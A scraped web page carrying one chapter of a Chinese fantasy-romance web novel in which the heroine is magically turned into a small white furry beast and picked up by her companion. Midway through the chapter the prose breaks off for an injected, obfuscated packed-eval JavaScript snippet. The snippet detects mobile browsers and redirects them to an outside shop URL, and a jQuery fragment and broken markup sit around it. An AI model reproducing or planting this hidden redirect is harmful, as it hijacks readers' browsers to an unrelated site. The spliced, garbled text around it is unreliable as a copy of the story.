37. 变毛绒绒
作品:《本宫被迫成为最强哨兵》 精神力袭来的方向,又泛起白雾,像黎明时分薄薄的霜雾。有个若隐若现的身影,正不断向这里靠近,每进一步,轮廓便更清晰一分。
他还没有真正现出身形,云亦姗已经认出他。
这一刻她忽然明白,原来每一次她下意识等待的都是那个人。
等他出现。
等他走向自己。
云亦姗刚想开口,却见赫兰铁的银发无风自舞,一股更为恐怖的气浪以他为中心爆发,两股力量轰然相撞,陆非尘的精神力还未真正抵达,就已经被震成一片破碎的光晕。
赫兰铁甚至没有多看一眼,冰冷的眼眸始终盯着云亦姗,嘴角勾起一抹玩味的弧度:“能在我的拂逆之境中精准锁定你的坐标,有点东西。”他挑眉,“普通的精神链接,做不到这种程度的追踪。除非……”
随即他语出惊人:“你们已经是那种关系了。”
云亦姗差点被口水呛到,脸上闪过一丝不自然的红:“……没有没有。”
赫兰铁笑了,眼神里写满了戏谑:“哨向法则里,能够直接捕捉到彼此的气息,只有一种可能——你们的精神图景已经发生了实质性的交融,必然是某种更深度绑定。否则,他凭什么追踪到你?”
凭什么?她也不知道啊!
他们之间并没有进行过任何绑定……吧。等等,难道他单方面的服务,也能形成深度绑定吗?但她并没时间细想。赫兰铁身上那股毁灭性的力量如悬顶之剑,随时可能落下。
该如何破局?
“让他们走。”云亦姗毫不犹豫抬起头,“我留下。”
赫兰铁像听到什么笑话,眼底浮起一丝讥诮:“你是不是搞错了什么?我要杀他们,需要理由吗?我要留你,又需要你同意吗?”语气轻蔑至极。
云亦姗面露尴尬。
“何况,你以为他们就真的会同意你留下?”赫兰铁忽然收了笑。
云亦姗垂眸不说话——他们一路并肩作战,自然是舍不得留下自己的。
谁知赫兰铁一句话打破她的幻想:“在他们眼里,你可不是什么需要被保护的同伴。他们怕的是失去一个能对抗圣域的武器。”
“难道你以为他们是出于情谊?”赫兰铁哈哈大笑,“没想到你竟如此天真啊,皇后娘娘。”他故意咬重那四个字。
云亦姗猛地抬头:“?”
过去的记忆在脑海中盘旋,那些被刻意忽略的细节变得清晰起来。他们口中反复提到的“任务”、不惜一切代价哄着她训练、陆非尘眼里偶尔闪过的复杂情绪。不都证明了赫兰铁所言非虚?
当真如此吗?
赫兰铁欣赏着她脸上的表情,没有急着说话。
云亦姗的呼吸忽然有些滞涩,眼中的世界也开始变得模糊。
他们对她……真的只有利用吗?那些生死与共的时刻,幻境醒来时颤抖的拥抱——都是假的吗?
赫兰铁话锋一转:“不过话说回来,他们把你当武器,倒也合理。”他歪了歪头,“你仔细感受过自己的身体吗?”
云亦姗一怔:“你在说什么?”
赫兰铁无视空气中剧烈的震荡,绕着她不紧不慢地踱步,像在审视一件有趣的物品:
“你这身体,人山人海的——乍一看挺像那么回事,仔细一瞧吧,没一个是你自己的。”
云亦姗彻底听不明白了,什么人山人海,什么她自己的?
不是她的,还能是谁的?打什么哑谜呢?
赫兰铁没有回答,只是意味深长地看着她,纯白的瞳孔里映出她此刻迷茫的眼神。
“不如我们打个赌。”他忽然放缓语气,笑得十分恶劣。
“赌什么?”
“赌他对你是不是真心。就赌——变成这样,他还会不会要你。”
云亦姗还没来得及问“变成什么样”,却见赫兰铁抬手,指尖凝出一缕幽光。
她不由自主地后撤一步。
未知的恐惧让她考虑要不要再奋力一搏,哪怕拼个鱼死网破——手已经压在剑柄上了。
但那些光点并没有给她犹豫的机会,迅速没入她胸口,消失不见。
云亦姗攥紧剑柄,身体却没有感到任何疼痛。她望向赫兰铁:“你对我做了什么?”
话音刚落,视线突然变低了!
赫兰铁变得更加高大……不对!是她变小了?!
“哐当”一声,煌熇跌落在脚……爪子边。
爪子?
她惊恐地伸手——短短的爪子,粉色的肉垫。
云亦姗:“……”她抬手去摸自己的脑袋,竟摸到一对毛绒绒的耳朵!
云亦姗忍不住尖叫,但喉咙里只发出一声:“喵喵喵喵……”
她愣住。
再试一次:“喵呜。”
艹。
她看不到自己的模样,但大概能根据爪子的颜色,判断自己成了一只雪白的四脚兽。
“哈哈哈哈……”赫兰铁爆发出一阵大笑后,消失不见。
云亦姗还没反应过来,镜壁轰然碎裂。
陆非尘杀气腾腾冲了过来,他浑身充斥着可怕的精神力,眼底布满血丝。
柏羽丰跟在后面,气喘吁吁:“你等等我——”
陆非尘没有理他。目光扫过空荡荡的镜域。
赫兰铁不见了,云亦姗也不见了。只有煌熇孤零零躺在地上。
“云亦姗!!”
“人呢?”他的声音发紧,疯狂释放精神力搜索,“我能感觉到她还在这附近。”
柏羽丰用终端扫描:“扫描结果显示,这里除了我们,只有一个……生物信号?”
“喵。”
一声细弱的叫声从脚边传来。
陆非尘低头。
一只白色毛绒绒的小东西蹲在他脚边,正仰着头看他。
圆滚滚的眼睛看起来湿漉漉的。
“咦?哪里来的小家伙?”柏羽丰蹲下身,看着那只试图用爪子捂住脸的小兽,忍不住伸手戳了戳它的脑袋,“蚀兽?长得还怪好看的。”
陆非尘也蹲下身,一把捏住她的后颈提溜起来,眯起眼睛仔细观察。
云亦姗:诶?这个动作为何如此熟悉……
果然,下一秒,陆非尘手腕一扬——
厚礼蟹!
云亦姗在空中转体三周半,“Duang”地一声撞在镜壁上,紧接着“咚”一声跌落。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377572|195611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
……大无语了,历史总是惊人的相似。
柏羽丰皱眉:“那继续找人?”
陆非尘只吐出一个字:“走。”
两人刚要离开,陆非尘突然顿住脚步,迅速倒退几步回到云亦姗面前,居高临下地俯视她。
艹,这个眼神她更熟了,她敢打赌这绝对不是良心发现。
她没有猜错——陆非尘忽然将精神力弓矢对准她,一脸严肃道:“仔细想了想,还是斩草除根吧。”
刚刚从地上挣扎着爬起来的云亦姗:……
一瞬间,她浑身的绒毛炸开,连尾巴尖都开始发抖,内心咆哮:陆非尘你敢!本宫做鬼也不放过你!!
嘴里喵喵咪咪骂了半天,陆非尘丝毫不为所动。
她一急,干脆两眼一翻,四脚朝天,“咚”地往地上一倒,尾巴尖还象征性地抽搐了两下——死得透透的,勿扰。
柏羽丰在旁边看得目瞪口呆:“叽瑟斯,你碰都没碰它,这蚀兽是在碰瓷吧?”
陆非尘却微微蹙眉:“你不觉得……它装死的眼神,看着有点眼熟吗?”
柏羽丰捏着下巴:“这么说来一说,确实——”
话音未落,陆非尘已经收起弓矢,蹲下身缓缓朝她伸出手。
云亦姗后勃颈又是一紧。
不是,还来?
修长的手指在半空停顿了一下,最后指尖轻轻抚过她的头顶。
云亦姗一愣。
“喵。”她立刻用脑袋蹭他的手指。
陆非尘的眼神忽然变得柔软,一种陌生又熟悉的感觉迅速掠过心头。
他一声不吭,把毛绒绒的小兽揣进怀里,站起身。
“你、你干什么?”柏羽丰一惊,“你不会要带着它吧?”
“嗯。”
“你疯了?这是蚀兽!”
惊魂未定的云亦姗,心跳快得像要从嗓子眼蹦出来。
难道他已经认出自己了?
她在陆非尘怀里拱了拱,他怀里有她熟悉的雪松气息。她第一次感受到焦躁的情绪被安抚下来,哪怕只是身体的靠近,也能让她的心渐渐平静。
她忍不住轻蹭陆非尘,然后找到一个舒服的位置,不动了。
陆非尘低头看了一眼怀里的毛球,语气笃定,“它不一样。”
云亦姗轻轻“喵~”了一声,用期待的眼神望着他——
“它一定是赫兰铁的走狗。”
云亦姗:?!
她激烈挣扎起来:什么走狗!你瞎啊!放我下来!
陆非尘皱眉,一手托着她的屁股,另一只手极其熟练地挠了挠她的下巴。
云亦姗:你……呼噜呼噜……放开本宫……呼噜呼噜呼噜……
她一边骂他,一边可耻地发出糟糕的声音。
谁让被挠下巴太舒服了,连尾巴不受控制地缠上了陆非尘的手腕。
陆非尘低头看着怀里的小兽,眼神逐渐变得幽深。他没有再说话,指腹在她敏感的耳后轻轻摩挲了一下,然后——更紧地抱住了她。
“走了。”他揣着小兽转身就走,“在找到她之前,它就是我的人质。”
云亦姗在他怀里猛地一颤。

